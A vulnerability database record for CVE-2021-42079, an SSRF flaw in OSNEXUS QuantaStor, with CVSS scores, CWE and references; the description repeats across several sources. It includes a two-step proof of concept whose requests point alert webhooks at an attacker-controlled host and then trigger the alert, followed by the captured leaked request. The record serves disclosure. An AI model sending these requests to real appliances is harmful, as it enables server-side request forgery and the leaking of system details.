{"id":"CVE-2021-42079","aliases":["EUVD-2021-29065","GHSA-4v64-w7v7-ch7f"],"status":"published","title":"SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '\u003credacted\u003e', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####","severity":{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00694,"percentile":0.53426,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-918"],"published":"2023-07-10T06:29:48Z","modified":"2026-06-17T04:09:16Z","products":[{"vendor":"osnexus","product":"quantastor"}],"references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","technical-description","x_transferred","Third Party Advisory"]},{"url":"https://cisrt.divd.nl/DIVD-2021-00020/","tags":["third-party-advisory","exploit","technical-description"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred","Product"]},{"url":"https://csirt.divd.nl/CVE-2021-42079","tags":["third-party-advisory","x_transferred","Third Party Advisory"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-42079"},{"url":"https://cisrt.divd.nl/DIVD-2021-00020"},{"url":"https://github.com/advisories/GHSA-4v64-w7v7-ch7f"}],"sources":{"cve":[{"id":"CVE-2021-42079","title":"SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '\u003credacted\u003e', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####","status":"published","published":"2023-07-10T06:29:48.339Z","modified":"2025-09-22T06:40:03.059Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:32:58.739039Z"}],"euvd":[{"id":"EUVD-2021-29065","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '\u003credacted\u003e', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####","status":"published","published":"2023-07-10T06:29:48Z","modified":"2025-09-22T06:40:03Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T20:31:41.254663Z"}],"ghsa":[{"id":"GHSA-4v64-w7v7-ch7f","title":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack...","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.","status":"published","published":"2023-07-10T18:30:47Z","modified":"2024-10-16T12:31:53Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:58:31.476115Z"}],"nvd":[{"id":"CVE-2021-42079","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '\u003credacted\u003e', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####","status":"published","published":"2023-07-10T16:15:47.467Z","modified":"2026-06-17T04:09:16.55Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:07:07.764332Z"}]}}